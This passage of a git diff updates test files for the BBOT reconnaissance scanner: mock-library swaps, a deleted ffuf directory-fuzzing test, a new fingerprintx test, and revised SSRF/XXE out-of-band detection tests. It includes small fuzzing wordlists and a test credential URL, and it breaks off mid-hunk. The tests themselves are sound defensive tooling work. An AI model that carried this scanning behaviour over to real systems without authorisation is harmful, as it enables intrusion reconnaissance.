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"
-    )
-
-    expected_result_pdf = "Hello, World!"
-    expected_result_docx = "Hello, World!!"
-
-    async def setup_after_prep(self, module_test):
-        module_test.set_expect_requests(
-            {"uri": "/"},
-            {"response_data": '<a href="/Test_PDF"/><a href="/Test_DOCX"/>'},
-        )
-        module_test.set_expect_requests(
-            {"uri": "/Test_PDF"},
-            {"response_data": self.pdf_data, "headers": {"Content-Type": "application/pdf"}},
-        )
-        module_test.set_expect_requests(
-            {"uri": "/Test_DOCX"},
-            {
-                "response_data": self.docx_data,
-                "headers": {"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document"},
-            },
-        )
-
-    def check(self, module_test, events):
-        filesystem_events = [e for e in events if e.type == "FILESYSTEM"]
-        assert 2 == len(filesystem_events), filesystem_events
-        for filesystem_event in filesystem_events:
-            file = Path(filesystem_event.data["path"])
-            assert file.is_file(), "Destination file doesn't exist"
-            assert open(file, "rb").read() == self.pdf_data or open(file, "rb").read() == self.docx_data, (
-                f"File at {file} does not contain the correct content"
-            )
-        raw_text_events = [e for e in events if e.type == "RAW_TEXT"]
-        assert 2 == len(raw_text_events), "Failed to emit RAW_TEXT event"
-        for raw_text_event in raw_text_events:
-            assert raw_text_event.data in [
-                self.expected_result_pdf,
-                self.expected_result_docx,
-            ], f"Text extracted from {raw_text_event.data['path']} is incorrect, got {raw_text_event.data}"
diff --git a/bbot/test/test_step_2/module_tests/test_module_ffuf.py b/bbot/test/test_step_2/module_tests/test_module_ffuf.py
deleted file mode 100644
index 3df659e159..0000000000
--- a/bbot/test/test_step_2/module_tests/test_module_ffuf.py
+++ /dev/null
@@ -1,90 +0,0 @@
-from .base import ModuleTestBase, tempwordlist
-
-
-class TestFFUF(ModuleTestBase):
-    targets = ["http://127.0.0.1:8888"]
-    test_wordlist = ["11111111", "admin", "junkword1", "zzzjunkword2"]
-    config_overrides = {
-        "modules": {
-            "ffuf": {
-                "wordlist": tempwordlist(test_wordlist),
-            }
-        }
-    }
-    modules_overrides = ["ffuf", "httpx"]
-
-    async def setup_before_prep(self, module_test):
-        expect_args = {"method": "GET", "uri": "/admin"}
-        respond_args = {"response_data": "alive admin page"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": "alive"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-    def check(self, module_test, events):
-        assert any(e.type == "URL_UNVERIFIED" and "admin" in e.data for e in events)
-        assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.data for e in events)
-
-
-class TestFFUF2(TestFFUF):
-    test_wordlist = ["11111111", "console", "junkword1", "zzzjunkword2"]
-    config_overrides = {"modules": {"ffuf": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}}}
-
-    async def setup_before_prep(self, module_test):
-        expect_args = {"method": "GET", "uri": "/console.php"}
-        respond_args = {"response_data": "alive admin page"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": "alive"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-    def check(self, module_test, events):
-        assert any(e.type == "URL_UNVERIFIED" and "console" in e.data for e in events)
-        assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.data for e in events)
-
-
-class TestFFUF_ignorecase(TestFFUF):
-    test_wordlist = ["11111111", "Admin", "admin", "zzzjunkword2"]
-    config_overrides = {
-        "modules": {"ffuf": {"wordlist": tempwordlist(test_wordlist), "extensions": "php", "ignore_case": True}}
-    }
-
-    async def setup_before_prep(self, module_test):
-        expect_args = {"method": "GET", "uri": "/admin"}
-        respond_args = {"response_data": "alive admin page"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/Admin"}
-        respond_args = {"response_data": "alive admin page"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": "alive"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-    def check(self, module_test, events):
-        assert any(e.type == "URL_UNVERIFIED" and "admin" in e.data for e in events)
-        assert not any(e.type == "URL_UNVERIFIED" and "Admin" in e.data for e in events)
-
-
-class TestFFUFHeaders(TestFFUF):
-    test_wordlist = ["11111111", "console", "junkword1", "zzzjunkword2"]
-    config_overrides = {
-        "modules": {"ffuf": {"wordlist": tempwordlist(test_wordlist), "extensions": "php"}},
-        "web": {"http_headers": {"test": "test2"}},
-    }
-
-    async def setup_before_prep(self, module_test):
-        expect_args = {"method": "GET", "headers": {"test": "test2"}, "uri": "/console.php"}
-        respond_args = {"response_data": "alive admin page"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-        expect_args = {"method": "GET", "uri": "/"}
-        respond_args = {"response_data": "alive"}
-        module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
-
-    def check(self, module_test, events):
-        assert any(e.type == "URL_UNVERIFIED" and "console" in e.data for e in events)
-        assert not any(e.type == "URL_UNVERIFIED" and "11111111" in e.data for e in events)
diff --git a/bbot/test/test_step_2/module_tests/test_module_filedownload.py b/bbot/test/test_step_2/module_tests/test_module_filedownload.py
index f6b1c5165a..76be392781 100644
--- a/bbot/test/test_step_2/module_tests/test_module_filedownload.py
+++ b/bbot/test/test_step_2/module_tests/test_module_filedownload.py
@@ -5,7 +5,7 @@
 
 class TestFileDownload(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["filedownload", "httpx", "excavate", "speculate"]
+    modules_overrides = ["filedownload", "http", "excavate", "speculate"]
     config_overrides = {
         "web": {"spider_distance": 2, "spider_depth": 2},
         "modules": {"filedownload": {"output_folder": str(bbot_test_dir / "test_filedownload_files")}},
diff --git a/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py b/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py
index 7e0cc3a169..286b4d3052 100644
--- a/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py
+++ b/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py
@@ -1,3 +1,5 @@
+import json
+
 from .base import ModuleTestBase
 
 
@@ -12,3 +14,55 @@ def check(self, module_test, events):
             and event.data["protocol"] == "HTTP"
             for event in events
         ), "HTTP protocol not detected"
+
+
+class TestFingerprintxURLs(ModuleTestBase):
+    """Mocks fingerprintx output to verify URL_UNVERIFIED construction across IPv4/IPv6 and default/non-default ports."""
+
+    module_name = "fingerprintx"
+    targets = [
+        "127.0.0.1:80",
+        "127.0.0.1:8443",
+        "[::1]:443",
+        "[::1]:8080",
+    ]
+    config_overrides = {"modules": {"fingerprintx": {"skip_common_web": False}}}
+
+    # (host, port, protocol) -> what fingerprintx pretends to find
+    fake_results = [
+        ("127.0.0.1", 80, "HTTP"),
+        ("127.0.0.1", 8443, "HTTPS"),
+        ("::1", 443, "HTTPS"),
+        ("::1", 8080, "HTTP"),
+    ]
+
+    async def setup_after_prep(self, module_test):
+        results = self.fake_results
+
+        async def fake_run_process_live(self, command, **kwargs):
+            for host, port, protocol in results:
+                yield json.dumps({"ip": host, "host": host, "port": port, "protocol": protocol})
+
+        module_test.monkeypatch.setattr(module_test.module.__class__, "run_process_live", fake_run_process_live)
+
+    def check(self, module_test, events):
+        urls = {e.data["url"] for e in events if e.type == "URL_UNVERIFIED"}
+        expected = {
+            "http://127.0.0.1/",
+            "https://127.0.0.1:8443/",
+            "https://[::1]/",
+            "http://[::1]:8080/",
+        }
+        assert expected.issubset(urls), f"missing URLs; got {urls}"
+
+        protocol_events = [e for e in events if e.type == "PROTOCOL"]
+        assert any(
+            e.host == module_test.scan.helpers.make_ip_type("::1") and e.port == 443 and e.data["protocol"] == "HTTPS"
+            for e in protocol_events
+        ), "IPv6 PROTOCOL event missing — parent lookup likely broken"
+        assert any(
+            e.host == module_test.scan.helpers.make_ip_type("127.0.0.1")
+            and e.port == 8443
+            and e.data["protocol"] == "HTTPS"
+            for e in protocol_events
+        ), "IPv4 PROTOCOL event missing"
diff --git a/bbot/test/test_step_2/module_tests/test_module_fullhunt.py b/bbot/test/test_step_2/module_tests/test_module_fullhunt.py
index 547063495a..68c580420f 100644
--- a/bbot/test/test_step_2/module_tests/test_module_fullhunt.py
+++ b/bbot/test/test_step_2/module_tests/test_module_fullhunt.py
@@ -5,7 +5,7 @@ class TestFullhunt(ModuleTestBase):
     config_overrides = {"modules": {"fullhunt": {"api_key": "asdf"}}}
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://fullhunt.io/api/v1/auth/status",
             match_headers={"x-api-key": "asdf"},
             json={
@@ -26,7 +26,7 @@ async def setup_before_prep(self, module_test):
                 },
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://fullhunt.io/api/v1/domain/blacklanternsecurity.com/subdomains",
             match_headers={"x-api-key": "asdf"},
             json={
diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py
index c0911fd661..2151d6a88a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py
+++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py
@@ -14,7 +14,10 @@ def extract_subdomain_tag(data):
 
 class TestGeneric_SSRF(ModuleTestBase):
     targets = ["http://127.0.0.1:8888"]
-    modules_overrides = ["httpx", "generic_ssrf"]
+    modules_overrides = ["http", "generic_ssrf"]
+    config_overrides = {
+        "interactsh_disable": False,
+    }
 
     def request_handler(self, request):
         subdomain_tag = None
@@ -34,39 +37,41 @@ def request_handler(self, request):
 
     async def setup_before_prep(self, module_test):
         self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf")
-        module_test.monkeypatch.setattr(
-            module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance
-        )
+
+        # Mock at the helper creation level BEFORE modules are set up
+        def mock_interactsh_factory(*args, **kwargs):
+            return self.interactsh_mock_instance
+
+        # Apply the mock to the core helpers so modules get the mock during setup
+        from bbot.core.helpers.helper import ConfigAwareHelper
+
+        module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory)
 
     async def setup_after_prep(self, module_test):
         expect_args = re.compile("/")
         module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler)
 
     def check(self, module_test, events):
-        total_vulnerabilities = 0
         total_findings = 0
 
         for e in events:
-            if e.type == "VULNERABILITY":
-                total_vulnerabilities += 1
-            elif e.type == "FINDING":
+            if e.type == "FINDING":
                 total_findings += 1
 
-        assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected"
-        assert total_findings == 30, "Incorrect number of findings detected"
+        assert total_findings == 60, "Incorrect number of findings detected"
 
         assert any(
-            e.type == "VULNERABILITY"
+            e.type == "FINDING"
             and "Out-of-band interaction: [Generic SSRF (GET)]"
             and "[Triggering Parameter: Dest]" in e.data["description"]
             for e in events
         ), "Failed to detect Generic SSRF (GET)"
         assert any(
-            e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"]
+            e.type == "FINDING" and "Out-of-band interaction: [Generic SSRF (POST)]" in e.data["description"]
             for e in events
         ), "Failed to detect Generic SSRF (POST)"
         assert any(
-            e.type == "VULNERABILITY" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"]
+            e.type == "FINDING" and "Out-of-band interaction: [Generic XXE] [HTTP]" in e.data["description"]
             for e in events
         ), "Failed to detect Generic SSRF (XXE)"
 
@@ -75,14 +80,11 @@ class TestGeneric_SSRF_httponly(TestGeneric_SSRF):
     config_overrides = {"modules": {"generic_ssrf": {"skip_dns_interaction": True}}}
 
     def check(self, module_test, events):
-        total_vulnerabilities = 0
         total_findings = 0
 
         for e in events:
-            if e.type == "VULNERABILITY":
-                total_vulnerabilities += 1
-            elif e.type == "FINDING":
+            if e.type == "FINDING":
                 total_findings += 1
 
-        assert total_vulnerabilities == 30, "Incorrect number of vulnerabilities detected"
-        assert total_findings == 0, "Incorrect number of findings detected"
+        # With skip_dns_interaction=True, only HTTP-protocol findings are emitted (no DNS)
+        assert total_findings == 30, "Incorrect number of findings detected"
diff --git a/bbot/test/test_step_2/module_tests/test_module_git.py b/bbot/test/test_step_2/module_tests/test_module_git.py
index 6c986da55c..77b1bf22b3 100644
--- a/bbot/test/test_step_2/module_tests/test_module_git.py
+++ b/bbot/test/test_step_2/module_tests/test_module_git.py
@@ -8,7 +8,7 @@ class TestGit(ModuleTestBase):
         "http://127.0.0.1:8888/test2",
     ]
 
-    modules_overrides = ["git", "httpx"]
+    modules_overrides = ["git", "http"]
 
     git_config = """[core]
     repositoryformatversion = 0
diff --git a/bbot/test/test_step_2/module_tests/test_module_git_clone.py b/bbot/test/test_step_2/module_tests/test_module_git_clone.py
index 17333cbcbb..e6c2c2e1a8 100644
--- a/bbot/test/test_step_2/module_tests/test_module_git_clone.py
+++ b/bbot/test/test_step_2/module_tests/test_module_git_clone.py
@@ -18,8 +18,8 @@ class TestGit_Clone(ModuleTestBase):
     file_content = "https://admin:admin@the-internet.herokuapp.com/basic_auth"
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(url="https://api.github.com/zen")
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(url="https://api.github.com/zen")
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity",
             json={
                 "login": "blacklanternsecurity",
@@ -54,7 +54,7 @@ async def setup_before_prep(self, module_test):
                 "type": "Organization",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity/repos?per_page=100&page=1",
             json=[
                 {
@@ -190,6 +190,7 @@ def new_filter_event(event):
             event.data["url"] = event.data["url"].replace(
                 "https://github.com/blacklanternsecurity", f"file://{temp_path}"
             )
+            event.parsed_url = module_test.scan.helpers.urlparse(event.data["url"])
             return old_filter_event(event)
 
         module_test.monkeypatch.setattr(module_test.scan.modules["git_clone"], "filter_event", new_filter_event)
diff --git a/bbot/test/test_step_2/module_tests/test_module_gitdumper.py b/bbot/test/test_step_2/module_tests/test_module_gitdumper.py
index 141f3b357f..cacf6f9f8a 100644
--- a/bbot/test/test_step_2/module_tests/test_module_gitdumper.py
+++ b/bbot/test/test_step_2/module_tests/test_module_gitdumper.py
@@ -10,7 +10,7 @@ class TestGitDumper_Dirlisting(ModuleTestBase):
         "http://127.0.0.1:8888/test",
     ]
 
-    modules_overrides = ["git", "gitdumper", "httpx"]
+    modules_overrides = ["git", "gitdumper", "http"]
     config_overrides = {"modules": {"gitdumper": {"output_folder": str(bbot_test_dir / "test_output")}}}
 
     index_html = """<html>
diff --git a/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py b/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py
index 2bd9993b20..e3241aabaa 100644
--- a/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py
+++ b/bbot/test/test_step_2/module_tests/test_module_github_codesearch.py
@@ -10,7 +10,7 @@ class TestGithub_Codesearch(ModuleTestBase):
         "omit_event_types": [],
         "scope": {"report_distance": 2},
     }
-    modules_overrides = ["github_codesearch", "httpx", "trufflehog"]
+    modules_overrides = ["github_codesearch", "http", "trufflehog"]
 
     github_file_endpoint = (
         "/projectdiscovery/nuclei/06f242e5fce3439b7418877676810cbf57934875/v2/cmd/cve-annotate/main.go"
@@ -38,8 +38,8 @@ async def setup_before_prep(self, module_test):
         respond_args = {"response_data": self.github_file_content}
         module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args)
 
-        module_test.httpx_mock.add_response(url="https://api.github.com/zen")
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(url="https://api.github.com/zen")
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/search/code?per_page=100&type=Code&q=blacklanternsecurity.com&page=1",
             json={
                 "total_count": 214,
@@ -76,7 +76,7 @@ def check(self, module_test, events):
             [
                 e
                 for e in events
-                if e.type == "URL_UNVERIFIED" and e.data == self.github_file_url and e.scope_distance == 2
+                if e.type == "URL_UNVERIFIED" and e.url == self.github_file_url and e.scope_distance == 2
             ]
         ), "Failed to emit URL_UNVERIFIED"
         assert 1 == len(
@@ -90,7 +90,7 @@ def check(self, module_test, events):
             ]
         ), "Failed to emit CODE_REPOSITORY"
         assert 1 == len(
-            [e for e in events if e.type == "URL" and e.data == self.github_file_url and e.scope_distance == 2]
+            [e for e in events if e.type == "URL" and e.url == self.github_file_url and e.scope_distance == 2]
         ), "Failed to visit URL"
         assert 1 == len(
             [
diff --git a/bbot/test/test_step_2/module_tests/test_module_github_org.py b/bbot/test/test_step_2/module_tests/test_module_github_org.py
index d8003fd2a5..866e8d3c78 100644
--- a/bbot/test/test_step_2/module_tests/test_module_github_org.py
+++ b/bbot/test/test_step_2/module_tests/test_module_github_org.py
@@ -2,18 +2,14 @@
 
 
 class TestGithub_Org(ModuleTestBase):
-    config_overrides = {"modules": {"github_org": {"api_key": "asdf"}}}
+    config_overrides = {"modules": {"github_org": {"api_key": "asdf"}, "git_clone": {"api_key": ""}}}
     modules_overrides = ["github_org", "speculate"]
 
     async def setup_before_prep(self, module_test):
-        await module_test.mock_dns(
-            {"blacklanternsecurity.com": {"A": ["127.0.0.99"]}, "github.com": {"A": ["127.0.0.99"]}}
-        )
-
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"}
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -49,7 +45,7 @@ async def setup_before_prep(self, module_test):
                 "type": "Organization",
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity/repos?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json=[
@@ -156,7 +152,7 @@ async def setup_before_prep(self, module_test):
                 }
             ],
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity/members?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json=[
@@ -182,7 +178,7 @@ async def setup_before_prep(self, module_test):
                 }
             ],
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/users/TheTechromancer/repos?per_page=100&page=1",
             match_headers={"Authorization": "token asdf"},
             json=[
@@ -289,8 +285,12 @@ async def setup_before_prep(self, module_test):
             ],
         )
 
+    async def setup_after_prep(self, module_test):
+        await module_test.mock_dns(
+            {"blacklanternsecurity.com": {"A": ["127.0.0.99"]}, "github.com": {"A": ["127.0.0.99"]}}
+        )
+
     def check(self, module_test, events):
-        assert len(events) == 7
         assert 1 == len(
             [
                 e
@@ -301,47 +301,26 @@ def check(self, module_test, events):
         assert 1 == len(
             [e for e in events if e.type == "ORG_STUB" and e.data == "blacklanternsecurity" and e.scope_distance == 0]
         ), "Failed to find ORG_STUB"
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "SOCIAL"
-                and e.data["platform"] == "github"
-                and e.data["profile_name"] == "blacklanternsecurity"
-                and str(e.module) == "github_org"
-                and "github-org" in e.tags
-                and e.scope_distance == 1
-            ]
+        assert any(
+            e.type == "SOCIAL"
+            and e.data["platform"] == "github"
+            and e.data["profile_name"] == "blacklanternsecurity"
+            and str(e.module) == "github_org"
+            and "github-org" in e.tags
+            for e in events
         ), "Failed to find blacklanternsecurity github"
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "SOCIAL"
-                and e.data["platform"] == "github"
-                and e.data["profile_name"] == "TheTechromancer"
-                and str(e.module) == "github_org"
-                and "github-org-member" in e.tags
-                and e.scope_distance == 2
-            ]
-        ), "Failed to find TheTechromancer github"
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "CODE_REPOSITORY"
-                and "git" in e.tags
-                and e.data["url"] == "https://github.com/blacklanternsecurity/test_keys"
-                and e.scope_distance == 1
-            ]
+        assert any(
+            e.type == "CODE_REPOSITORY"
+            and "git" in e.tags
+            and e.data["url"] == "https://github.com/blacklanternsecurity/test_keys"
+            for e in events
         ), "Failed to find blacklanternsecurity github repo"
 
 
 class TestGithub_Org_No_Members(TestGithub_Org):
-    config_overrides = {"modules": {"github_org": {"include_members": False}, "github": {"api_key": "asdf"}}}
+    config_overrides = {"modules": {"github_org": {"include_members": False, "api_key": "asdf"}}}
 
     def check(self, module_test, events):
-        assert len(events) == 6
         assert 1 == len(
             [
                 e
@@ -366,33 +345,30 @@ def check(self, module_test, events):
 
 
 class TestGithub_Org_MemberRepos(TestGithub_Org):
-    config_overrides = {"modules": {"github_org": {"include_member_repos": True}, "github": {"api_key": "asdf"}}}
+    config_overrides = {
+        "scope": {"report_distance": 2, "search_distance": 2},
+        "modules": {"github_org": {"include_member_repos": True, "api_key": "asdf"}},
+    }
 
     def check(self, module_test, events):
-        assert len(events) == 8
-        assert 1 == len(
-            [
-                e
-                for e in events
-                if e.type == "CODE_REPOSITORY"
-                and "git" in e.tags
-                and e.data["url"] == "https://github.com/TheTechromancer/websitedemo"
-                and e.scope_distance == 2
-            ]
+        assert any(
+            e.type == "CODE_REPOSITORY"
+            and "git" in e.tags
+            and e.data["url"] == "https://github.com/TheTechromancer/websitedemo"
+            for e in events
         ), "Failed to find TheTechromancer github repo"
 
 
 class TestGithub_Org_Custom_Target(TestGithub_Org):
     targets = ["ORG:blacklanternsecurity"]
     config_overrides = {
-        "scope": {"report_distance": 10},
+        "scope": {"report_distance": 10, "search_distance": 2},
         "omit_event_types": [],
         "speculate": True,
-        "modules": {"github": {"api_key": "asdf"}},
+        "modules": {"github_org": {"api_key": "asdf"}},
     }
 
     def check(self, module_test, events):
-        assert len(events) == 8
         assert 1 == len(
             [e for e in events if e.type == "ORG_STUB" and e.data == "blacklanternsecurity" and e.scope_distance == 0]
         )
@@ -416,7 +392,7 @@ def check(self, module_test, events):
                 e
                 for e in events
                 if e.type == "URL_UNVERIFIED"
-                and e.data == "https://github.com/blacklanternsecurity"
+                and e.url == "https://github.com/blacklanternsecurity"
                 and e.scope_distance == 1
             ]
         )
diff --git a/bbot/test/test_step_2/module_tests/test_module_github_usersearch.py b/bbot/test/test_step_2/module_tests/test_module_github_usersearch.py
index c10a7dcb58..1584679928 100644
--- a/bbot/test/test_step_2/module_tests/test_module_github_usersearch.py
+++ b/bbot/test/test_step_2/module_tests/test_module_github_usersearch.py
@@ -43,8 +43,8 @@ class TestGithub_Usersearch(ModuleTestBase):
         }"""
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(url="https://api.github.com/zen")
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(url="https://api.github.com/zen")
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/graphql",
             match_headers={"Authorization": "token asdf"},
             match_json={"query": self.query_1},
@@ -67,7 +67,7 @@ async def setup_before_prep(self, module_test):
                 }
             },
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/graphql",
             match_headers={"Authorization": "token asdf"},
             match_json={"query": self.query_2},
diff --git a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py
index 892f54cf43..83af51be5b 100644
--- a/bbot/test/test_step_2/module_tests/test_module_github_workflows.py
+++ b/bbot/test/test_step_2/module_tests/test_module_github_workflows.py
@@ -20,10 +20,10 @@ class TestGithub_Workflows(ModuleTestBase):
     zip_content = data.getvalue()
 
     async def setup_before_prep(self, module_test):
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"}
         )
-        module_test.httpx_mock.add_response(
+        module_test.blasthttp_mock.add_response(
             url="https://api.github.com/orgs/blacklanternsecurity",
             match_headers={"Authorization": "token asdf"},
             json={
@@ -59,7 +59,7 @@ async def setup_before_prep(self, module_test):
